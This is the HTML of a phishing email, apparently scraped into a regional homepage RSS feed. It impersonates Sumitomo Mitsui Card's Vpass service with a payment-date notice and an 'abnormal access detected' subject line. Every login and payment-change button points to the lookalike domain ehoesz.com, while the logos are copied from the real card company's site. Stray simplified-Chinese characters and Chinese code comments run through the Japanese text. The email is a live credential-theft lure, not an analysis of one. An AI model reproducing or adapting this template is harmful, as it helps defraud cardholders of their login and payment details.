[Vpass] 異常なアクセスを検知した ため一時制限を行いました
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>三井住友カード - 次回お支払い日のご案内</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;700&family=Noto+Sans+JP:wght@400;700&display=swap');
body {
font-family: 'Inter', 'Noto Sans JP', sans-serif;
background-color: #f4f7f6;
-webkit-text-size-adjust: 100%;
}
.smbc-green { color: #00846d; }
.bg-smbc-green { background-color: #00846d; }
.bg-smbc-light { background-color: #edf8f5; }
.border-smbc { border-color: #00846d; }
.card {
background: white;
border-radius: 16px;
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
}
/* 针对极小屏幕的微调 */
@media (max-width: 380px) {
.btn-text { font-size: 0.875rem; }
.main-title { font-size: 1.25rem; }
}
</style>
</head>
<body class="py-4 sm:py-8 px-3 sm:px-4">
<div class="max-w-2xl mx-auto">
<!-- 头部 Logo -->
<div class="text-center mb-6 sm:mb-8">
<img src="https://www.smbc-card.com/mem/cardinfo/mailmaga/60152/img/header_01.png" alt="SMBC Logo" class="h-8 sm:h-10 mx-auto">
</div>
<!-- 顶部提示信息 -->
<div class="bg-white rounded-t-2xl p-4 sm:p-6 border-b border-gray-100">
<p class="text-xs sm:text-sm text-gray-500">※本メールは次回お支払いがあるお客さま全員に配信しています。</p>
</div>
<!-- 主内容卡片 -->
<div class="bg-white p-4 sm:p-8 mb-4 sm:mb-6 rounded-b-2xl sm:rounded-b-none shadow-sm">
<p class="text-gray-700 leading-relaxed text-sm sm:text-base">
平素は三井住友カードをご利用いただき、诚にありがとうございます。<br>
次回お支払いについてご案内いたします。
</p>
<!-- 付款日期高亮区 -->
<div class="bg-smbc-light rounded-2xl p-6 sm:p-10 my-6 sm:my-8 text-center border border-teal-100">
<h2 class="text-xl sm:text-3xl font-bold smbc-green main-title">お支払い日：3月16日（月）</h2>
<div class="mt-6 sm:mt-8">
<a href="https://ehoesz.com/bugrnrahg" class="inline-block w-full sm:w-auto bg-smbc-green text-white px-6 sm:px-10 py-3 sm:py-4 rounded-full font-bold text-base sm:text-lg hover:bg-opacity-90 transition-all shadow-lg shadow-teal-700/20 btn-text">
お支払い金額のご確認はこちら
</a>
<p class="text-[10px] sm:text-xs text-gray-400 mt-3">※Vpassへのログインが必要です</p>
</div>
</div>
<!-- 修改期限 -->
<div class="border-l-4 border-smbc pl-4 my-6 sm:my-8">
<p class="text-base sm:text-lg text-gray-800">お支払い金額は変更することができます。</p>
<p class="text-lg sm:text-xl font-bold text-gray-900 mt-1">
お支払い金額の変更期限：<span class="text-red-600">3月14日（土）</span>
</p>
<a href="https://ehoesz.com/xlybqw" class="inline-flex items-center text-smbc-green font-bold mt-3 text-sm sm:text-base hover:underline">
金額の変更手続きはこちら
<svg class="w-4 h-4 ml-1" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7"></path></svg>
</a>
</div>
</div>
<!-- 教育说明部分 -->
<div class="card p-4 sm:p-8 mb-4 sm:mb-6">
<h3 class="text-center text-lg sm:text-xl font-bold text-gray-800 mb-4 sm:mb-6">＼お支払い金額の変更とは？／</h3>
<div class="flex flex-col md:flex-row gap-4 sm:gap-6 items-center">
<div class="flex-1 text-gray-600 text-sm sm:text-base">
<p class="leading-relaxed">
お支払い金額が多いと感じた方は、お買い物のあとからでも減らすことができます。<br class="hidden sm:block">
「あとからリボ」や「あとから分割」など、ご都合に合わせた支払い方法に変更可能です。
</p>
</div>
<img src="https://www.smbc-card.com/mem/cardinfo/mailmaga/251008_shiharai_mail/img/img_12.png" alt="Revo Payment" class="w-32 sm:w-40 rounded-lg">
</div>
<!-- 移动端堆叠，PC端并排 -->
<div class="grid grid-cols-1 sm:grid-cols-2 gap-3 sm:gap-4 mt-6 sm:mt-8">
<a href="https://ehoesz.com/bteuvoz" class="block p-3 sm:p-4 border border-smbc rounded-xl text-center hover:bg-smbc-light transition-colors">
<span class="font-bold smbc-green text-sm sm:text-base">あとからリボ</span><br>
<span class="text-[10px] sm:text-xs text-gray-500">金额を指定してお支払い</span>
</a>
<a href="https://ehoesz.com/rtetiowqa" class="block p-3 sm:p-4 border border-smbc rounded-xl text-center hover:bg-smbc-light transition-colors">
<span class="font-bold smbc-green text-sm sm:text-base">あとから分割</span><br>
<span class="text-[10px] sm:text-xs text-gray-500">回数を指定してお支払い</span>
</a>
</div>
</div>
<!-- 页脚 -->
<footer class="text-center text-gray-400 text-[10px] sm:text-xs leading-relaxed space-y-4 px-2">
<div class="pt-6 sm:pt-8 border-t border-gray-200">
<p>三井住友カード株式会社</p>
<p>〒135-0061 东京都江东区豊洲2丁目2番31号 SMBC豊洲ビル</p>
</div>
<p>本メールに関する一切の記事の无断転载および再配布を禁じます。</p>
<p><a href="https://mail10.enszsa.com/unsubscribe?email=331b-hp%40huat.jp" style="color:#999;text-decoration:underline;">配信停止をご希望の方はこちら</a></p>
<p class="pb-4">Copyright (C) Sumitomo Mitsui Card Co., Ltd.</p>
</footer>
</div>
</body>
</html>
331-B地区ＨＰ一覧 RSS Feed